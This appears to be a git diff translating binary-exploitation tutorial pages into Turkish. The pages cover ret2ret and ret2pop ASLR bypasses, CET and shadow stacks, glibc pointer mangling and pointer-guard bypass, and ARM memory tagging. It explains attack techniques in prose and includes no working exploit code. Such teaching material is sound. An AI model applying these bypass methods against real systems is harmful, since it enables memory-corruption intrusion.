If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
Eğer bu adres yığında shellcode'umuza işaret ediyorsa, akışı o adrese ulaştırmak mümkündür **`ret` talimatına adresler ekleyerek** bu talimat ulaşıldığında.
Therefore the attack would be like this:
Bu nedenle saldırı şöyle olacaktır:
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- EIP'den yığını **`ret` adresleri ile yazmak** (RET sled)
- 0x00, yığın adresini değiştirerek NOP sled'e işaret etmesini sağlamak için dize tarafından eklenir
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
Aşağıdaki [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) ise istismarı görebilirsiniz.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
Eğer **değiştirmek istemediğiniz yığında mükemmel bir işaretçi bulursanız** (ret2ret'te son en düşük byte'ı `0x00` olarak değiştiriyoruz), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET sled'in uzunluğu 1 kısaltılmalıdır** (böylece son `0x00` mükemmel işaretçinin hemen öncesindeki veriyi yazacaktır) ve **RET sled'in son** adresi **`pop <reg>; ret`**'e işaret etmelidir.\
Bu şekilde, **mükemmel işaretçiden önceki veri** yığından kaldırılacaktır (bu, `0x00` tarafından etkilenen veridir) ve **son `ret`, yığında mükemmel adrese** herhangi bir değişiklik olmadan işaret edecektir.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
Aşağıdaki [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) ise istismarı görebilirsiniz.
## References

22
src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md
View File

@ -2,24 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
## Control Flow Enforcement Technology (CET)
## Kontrol Akışı Zorlaması Teknolojisi (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
**CET**, **Return-Oriented Programming (ROP)** ve **Jump-Oriented Programming (JOP)** gibi yaygın kontrol akışı ele geçirme saldırılarını engellemek için tasarlanmış, donanım seviyesinde uygulanan bir güvenlik özelliğidir. Bu tür saldırılar, kötü niyetli kodu çalıştırmak veya zararsız kod parçalarını kötü niyetli bir eylem gerçekleştirecek şekilde bir araya getirmek için bir programın yürütme akışını manipüle eder.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET, iki ana özellik sunar: **Dolaylı Dal Takibi (IBT)** ve **Gölge Yığın**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT**, dolaylı atlamaların ve çağrıların geçerli hedeflere yapılmasını sağlar; bu hedefler, dolaylı dallar için yasal varış noktaları olarak açıkça işaretlenmiştir. Bu, geçerli hedefleri işaretleyen yeni bir talimat setinin kullanılmasıyla sağlanır ve böylece saldırganların kontrol akışını rastgele yerlere yönlendirmesi engellenir.
- **Gölge Yığın**, dönüş adresleri için bütünlük sağlayan bir mekanizmadır. Dönüş adreslerinin güvenli, gizli bir kopyasını, normal çağrı yığınından ayrı tutar. Bir fonksiyon döndüğünde, dönüş adresi gölge yığın ile doğrulanır ve bu, saldırganların yığın üzerindeki dönüş adreslerini geçersiz kılmasını engeller.
## Shadow Stack
## Gölge Yığın
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
**Gölge yığın**, **sadece dönüş adreslerini depolamak için kullanılan özel bir yığındır**. Normal yığınla birlikte çalışır ancak normal program yürütmesinden korunmuş ve gizlenmiştir, bu da saldırganların buna müdahale etmesini zorlaştırır. Gölge yığınının temel amacı, geleneksel yığın üzerindeki dönüş adreslerine yapılan herhangi bir değişikliğin kullanılmadan önce tespit edilmesini sağlamaktır; bu, ROP saldırılarını etkili bir şekilde azaltır.
## How CET and Shadow Stack Prevent Attacks
## CET ve Gölge Yığın Saldırıları Nasıl Önler
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
**ROP ve JOP saldırıları**, bir uygulamanın kontrol akışını ele geçirmek için yığın üzerindeki işaretçileri veya dönüş adreslerini geçersiz kılmalarına olanak tanıyan zayıflıkları kullanma yeteneğine dayanır. Akışı mevcut kod gadget'larına veya dönüş odaklı programlama gadget'larına yönlendirerek, saldırganlar rastgele kod çalıştırabilir.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- **CET'in IBT** özelliği, dolaylı dalların yalnızca açıkça geçerli hedefler olarak işaretlenmiş adreslere atlama yapabilmesini sağlayarak bu saldırıları önemli ölçüde zorlaştırır. Bu, saldırganların ikili dosya üzerinde yayılmış rastgele gadget'ları çalıştırmasını imkansız hale getirir.
- **Gölge yığın** ise, bir saldırgan normal yığın üzerindeki bir dönüş adresini geçersiz kılabilse bile, dönüşten sonra gölge yığında saklanan güvenli kopya ile bozulmuş adres karşılaştırıldığında **uyumsuzluğun tespit edilmesini** sağlar. Adresler eşleşmezse, program sona erebilir veya diğer güvenlik önlemleri alabilir, böylece saldırının başarılı olmasını engeller.
{{#include ../../banners/hacktricks-training.md}}

86
src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
View File

@ -1,82 +1,82 @@
# Libc Protections
# Libc Koruma
{{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement
## Parça Hizalama Zorunluluğu
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc**, belleği **8 bayt (32-bit) veya 16 bayt (64-bit) gruplar halinde** ayırır. Bu, 32-bit sistemlerde parçaların sonlarının **0x8** ile, 64-bit sistemlerde ise **0x0** ile hizalanması gerektiği anlamına gelir. Güvenlik özelliği, her parçanın bir bin'den bir işaretçi kullanmadan önce bu belirli konumlarda **doğru hizalandığını** kontrol eder.
### Security Benefits
### Güvenlik Faydaları
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
64-bit sistemlerde parça hizalama zorunluluğu, Malloc'un güvenliğini önemli ölçüde artırarak **sahte parçaların yerleştirilmesini yalnızca her 16 adresten 1'ine sınırlamaktadır**. Bu, özellikle kullanıcının girdi değerleri üzerinde sınırlı kontrolü olduğu senaryolarda istismar çabalarını karmaşıklaştırır ve saldırıları daha karmaşık ve başarılı bir şekilde gerçekleştirilmesi zor hale getirir.
- **Fastbin Attack on \_\_malloc_hook**
- **\_\_malloc_hook Üzerinde Fastbin Saldırısı**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
Malloc'daki yeni hizalama kuralları, `__malloc_hook` ile ilgili klasik bir saldırıyı da engeller. Önceden, saldırganlar parça boyutlarını manipüle ederek **bu işlev işaretçisini** geçersiz kılabilir ve **kod yürütme** elde edebilirlerdi. Artık, katı hizalama gereksinimi, bu tür manipülasyonların geçerli olmamasını sağlar, yaygın bir istismar yolunu kapatır ve genel güvenliği artırır.
## Pointer Mangling on fastbins and tcache
## Fastbin ve Tcache Üzerinde İşaretçi Karıştırma
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**İşaretçi Karıştırma**, bellek yönetim işlemlerinde **fastbin ve tcache Fd işaretçilerini** korumak için kullanılan bir güvenlik geliştirmesidir. Bu teknik, sızdırılmış bellek bilgisi gerektirmeyen veya bellek konumlarını doğrudan bilinen konumlara göre manipüle eden belirli türde bellek istismar taktiklerini önlemeye yardımcı olur (göreli **geçersiz kılmalar**).
The core of this technique is an obfuscation formula:
Bu tekniğin özü bir obfuscation formülüdür:
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L**, işaretçinin **Depolama Yeri**dir.
- **P**, gerçek **fastbin/tcache Fd İşaretçisidir**.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
Depolama yerinin (L) 12 bit sağa kaydırılması, XOR işlemi öncesinde kritik bir öneme sahiptir. Bu manipülasyon, bellek adreslerinin en az anlamlı 12 bitinin belirleyici doğasında var olan bir zayıflığı ele alır; bu bitler genellikle sistem mimarisi kısıtlamaları nedeniyle tahmin edilebilir. Bitlerin kaydırılması, tahmin edilebilir kısmı denklemin dışına çıkararak yeni, karıştırılmış işaretçinin rastgeleliğini artırır ve böylece bu bitlerin tahmin edilebilirliğine dayanan istismarlara karşı koruma sağlar.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
Bu karıştırılmış işaretçi, programlar tarafından kullanılan adresleri rastgeleleştiren **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** tarafından sağlanan mevcut rastgeleliği kullanır, bu da saldırganların bir sürecin bellek düzenini tahmin etmesini zorlaştırır.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**İşaretçiyi demangling** etmek, orijinal adresi geri almak için aynı XOR işlemini kullanmayı içerir. Burada, karıştırılmış işaretçi formülde P olarak ele alınır ve değişmemiş depolama yeri (L) ile XORlandığında, orijinal işaretçi ortaya çıkar. Karıştırma ve demangling'deki bu simetri, sistemin işaretçileri önemli bir ek yük olmadan verimli bir şekilde kodlayıp çözmesini sağlar ve bellek işaretçilerini manipüle eden saldırılara karşı güvenliği önemli ölçüde artırır.
### Security Benefits
### Güvenlik Faydaları
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
İşaretçi karıştırma, **yığın yönetiminde kısmi ve tam işaretçi geçersiz kılmalarını önlemeyi** amaçlar, bu da güvenlikte önemli bir geliştirmedir. Bu özellik, istismar tekniklerini birkaç şekilde etkiler:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **Bayt Göreli Geçersiz Kılmaların Önlenmesi**: Önceden, saldırganlar bir işaretçinin bir kısmını değiştirerek **yığın parçalarını farklı konumlara yönlendirebilirlerdi**, bu teknik sızdırmasız **Roman Evi** istismarında belirgindi. İşaretçi karıştırma ile, böyle göreli geçersiz kılmalar **şimdi bir yığın sızıntısı gerektiriyor**, başarı olasılıklarını önemli ölçüde azaltıyor.
2. **Tcache Bin/Fastbin Saldırıların Zorluğunun Artması**: İşlev işaretçilerini (örneğin, `__malloc_hook`) fastbin veya tcache girişlerini manipüle ederek geçersiz kılmayı hedefleyen yaygın saldırılar engellenir. Örneğin, bir saldırı, bir LibC adresini sızdırmayı, bir parçayı tcache bin'ine serbest bırakmayı ve ardından Fd işaretçisini `__malloc_hook`'a yönlendirmek için geçersiz kılmayı içerebilir. İşaretçi karıştırma ile, bu işaretçilerin doğru bir şekilde karıştırılması gerekir, **doğru manipülasyon için bir yığın sızıntısı gerektirir**, böylece istismar engelini yükseltir.
3. **Yığın Dışı Konumlarda Yığın Sızıntıları Gereksinimi**: Yığın dışı alanlarda (yığın, .bss bölümü veya PLT/GOT gibi) sahte bir parça oluşturmak da **işaretçi karıştırma gereksinimi nedeniyle bir yığın sızıntısı gerektirir**. Bu, bu alanları istismar etmenin karmaşıklığını artırır, LibC adreslerini manipüle etme gereksinimiyle benzerlik gösterir.
4. **Yığın Adreslerini Sızdırmak Daha Zor Hale Gelir**: İşaretçi karıştırma, fastbin ve tcache binlerindeki Fd işaretçilerinin yığın adres sızıntıları için kaynak olarak kullanılabilirliğini kısıtlar. Ancak, sıralanmamış, küçük ve büyük binlerdeki işaretçiler karıştırılmamış kalır, bu nedenle adres sızdırmak için hala kullanılabilir. Bu değişim, saldırganları istismar edilebilir bilgileri keşfetmek için bu binleri araştırmaya yönlendirir, ancak bazı teknikler hala bir sızıntıdan önce işaretçileri demangling yapmaya izin verebilir, ancak kısıtlamalarla birlikte.
### **Demangling Pointers with a Heap Leak**
### **Yığın Sızıntısı ile İşaretçileri Demangling**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> Sürecin daha iyi bir açıklaması için [**orijinal gönderiyi buradan kontrol edin**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
### Algoritma Genel Görünümü
The formula used for mangling and demangling pointers is:&#x20;
İşaretçileri karıştırma ve demangling için kullanılan formül:&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
Burada **L**, depolama yeridir ve **P**, Fd işaretçisidir. **L** 12 bit sağa kaydırıldığında, **P**'nin en anlamlı bitlerini açığa çıkarır; çünkü **XOR**'un doğası gereği, bitler kendileriyle XORlandığında 0 çıktısı verir.
**Key Steps in the Algorithm:**
**Algoritmadaki Ana Adımlar:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **En Anlamlı Bitlerin İlk Sızıntısı**: Kaydırılmış **L**'yi **P** ile XORlayarak, etkili bir şekilde **P**'nin en üst 12 bitini elde edersiniz çünkü kaydırılan **L** kısmı sıfır olacak ve **P**'nin karşılık gelen bitleri değişmeden kalacaktır.
2. **İşaretçi Bitlerinin Kurtarılması**: XOR'un tersinir olması nedeniyle, sonucu ve operandlardan birini bilmek, diğer operandı hesaplamanızı sağlar. Bu özellik, bilinen bit setlerini karıştırılmış işaretçinin parçalarıyla ardışık olarak XORlayarak **P** için tüm bit setini çıkarmak için kullanılır.
3. **İteratif Demangling**: Süreç tekrarlanır, her seferinde bir önceki adımdan elde edilen **P**'nin yeni keşfedilen bitlerini kullanarak karıştırılmış işaretçinin bir sonraki segmentini çözmek için, tüm bitler kurtarılana kadar.
4. **Belirleyici Bitlerin İşlenmesi**: **L**'nin son 12 biti kaydırma nedeniyle kaybolur, ancak bunlar belirleyicidir ve işlem sonrası yeniden inşa edilebilir.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
Bu algoritmanın bir uygulamasını burada bulabilirsiniz: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
## İşaretçi Koruma
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
İşaretçi koruma, glibc'de saklanan işlev işaretçilerini korumak için kullanılan bir istismar azaltma tekniğidir, özellikle `atexit()` gibi kütüphane çağrılarıyla kaydedilenler. Bu koruma, işaretçileri bir sır ile XORlayarak ve bit kaydırma uygulayarak karıştırmayı içerir. Bu mekanizma, saldırganların işlev işaretçilerini geçersiz kılarak kontrol akışını ele geçirmesini önlemeyi amaçlar.
### **Bypassing Pointer Guard with a leak**
### **Bir sızıntı ile İşaretçi Korumasını Aşma**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **İşaretçi Koruma İşlemlerini Anlamak:** İşaretçilerin karıştırılması (mangling), işaretçiyi 64-bit bir sır ile XORlayarak ve ardından 0x11 bit sola kaydırarak yapılan `PTR_MANGLE` makrosu kullanılarak gerçekleştirilir. Orijinal işaretçiyi geri almak için ters işlem `PTR_DEMANGLE` ile yapılır.
2. **Saldırı Stratejisi:** Saldırı, saldırganın karıştırılmış bir işaretçinin hem orijinal hem de karıştırılmış versiyonunu bilmesi gereken bilinen-düz metin yaklaşımına dayanır.
3. **Bilinen Düz Metinleri İstismar Etme:**
- **Sabit İşlev İşaretçilerini Belirleme:** glibc kaynak kodunu veya başlatılmış işlev işaretçi tablolarını (örneğin, `__libc_pthread_functions`) inceleyerek, bir saldırgan tahmin edilebilir işlev işaretçilerini bulabilir.
- **Sırrı Hesaplama:** `__pthread_attr_destroy` gibi bilinen bir işlev işaretçisini ve işlev işaretçi tablosundaki karıştırılmış versiyonunu kullanarak, sır, karıştırılmış işaretçiyi ters kaydırarak (sağa kaydırma) ve ardından işlevin adresi ile XORlayarak hesaplanabilir.
4. **Alternatif Düz Metinler:** Saldırgan, 0 veya -1 gibi bilinen değerlerle işaretçileri karıştırmayı deneyerek, bunların bellek içinde tanınabilir desenler üretip üretmediğini görmek için deney yapabilir; bu desenler bellek dökümlerinde bulunduğunda sırrı açığa çıkarabilir.
5. **Pratik Uygulama:** Sırrı hesapladıktan sonra, bir saldırgan işaretçileri kontrollü bir şekilde manipüle edebilir, bu da libc temel adresi bilgisi ve rastgele bellek konumlarını okuma yeteneği ile çoklu iş parçacıklı bir uygulamada İşaretçi Koruma korumasını aşmayı sağlar.
## References
## Referanslar
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

70
src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
View File

@ -1,83 +1,81 @@
# Memory Tagging Extension (MTE)
# Bellek Etiketleme Uzantısı (MTE)
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**Bellek Etiketleme Uzantısı (MTE)**, **bellek ile ilgili hataları** tespit etmek ve önlemek için yazılım güvenilirliğini ve güvenliğini artırmak amacıyla tasarlanmıştır; bu hatalar arasında tampon taşmaları ve kullanımdan sonra serbest bırakma güvenlik açıkları bulunmaktadır. MTE, **ARM** mimarisinin bir parçası olarak, her bellek tahsisine **küçük bir etiket eklemek** ve o belleği referans alan her işaretçiye **karşılık gelen bir etiket** sağlamak için bir mekanizma sunar. Bu yaklaşım, çalışma zamanında yasadışı bellek erişimlerinin tespit edilmesine olanak tanır ve bu tür güvenlik açıklarının rastgele kod çalıştırmak için istismar edilme riskini önemli ölçüde azaltır.
### **How Memory Tagging Extension Works**
### **Bellek Etiketleme Uzantısı Nasıl Çalışır**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE, **belleği küçük, sabit boyutlu bloklara ayırarak çalışır; her blok bir etiketle atanır,** genellikle birkaç bit boyutundadır.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
Bir işaretçi o belleği işaret etmek için oluşturulduğunda, aynı etiketi alır. Bu etiket, **bir bellek işaretçisinin kullanılmayan bitlerinde** saklanır ve işaretçiyi ilgili bellek bloğuna etkili bir şekilde bağlar.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
Bir program bir işaretçi aracılığıyla belleğe eriştiğinde, MTE donanımı **işaretçinin etiketinin bellek bloğunun etiketiyle eşleşip eşleşmediğini** kontrol eder. Eğer etiketler **eşleşmiyorsa**, bu **yasadışı bellek erişimi** olduğunu gösterir.
### MTE Pointer Tags
### MTE İşaretçi Etiketleri
Tags inside a pointer are stored in 4 bits inside the top byte:
Bir işaretçi içindeki etiketler, en üst byte içinde 4 bit olarak saklanır:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
Bu nedenle, bu, **16 farklı etiket değeri** olmasına olanak tanır.
### MTE Memory Tags
### MTE Bellek Etiketleri
Every **16B of physical memory** have a corresponding **memory tag**.
Her **16B fiziksel bellek** için karşılık gelen bir **bellek etiketi** vardır.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
Bellek etiketleri, **normal kullanım için erişilemeyen** bir **özel RAM bölgesinde** saklanır. Her 16B bellek etiketi için 4 bit etiket bulunması, RAM'in %3'üne kadar etiket sağlar.
ARM, bu etiketleri özel RAM belleğinde işlemek için aşağıdaki talimatları tanıtır:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Modları Kontrol Etme
## Checking Modes
### Senkron
### Sync
CPU, etiketleri **talimat yürütülürken** kontrol eder, eğer bir uyumsuzluk varsa, bir istisna oluşturur.\
Bu en yavaş ve en güvenli olanıdır.
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
### Asenkron
### Async
CPU, etiketleri **asenkron olarak** kontrol eder ve bir uyumsuzluk bulunduğunda, sistem kayıtlarından birinde bir istisna biti ayarlar. Bu, önceki yöntemden **daha hızlıdır** ancak uyumsuzluğa neden olan tam talimatı **belirleyemez** ve istisnayı hemen oluşturmaz, saldırgana saldırısını tamamlama süresi tanır.
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
### Mixed
### Karışık
???
## Implementation & Detection Examples
## Uygulama ve Tespit Örnekleri
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
Donanım Etiket Tabanlı KASAN, MTE tabanlı KASAN veya çekirdek içi MTE olarak adlandırılır.\
Çekirdek ayırıcıları (örneğin `kmalloc`), kullanılacak etiketi hazırlamak için **bu modülü çağırır** (rastgele) ve bunu ayrılan çekirdek alanına ve döndürülen işaretçiye ekler.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
Talep edilen boyut için **yeterli bellek granüllerini** (her biri 16B) **sadece işaretleyecektir**. Yani, talep edilen boyut 35 ise ve 60B'lik bir slab verilmişse, bu etiketle ilk 16\*3 = 48B'yi işaretleyecek ve **geri kalan** **geçersiz etiket (0xE)** ile **işaretlenecektir**.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
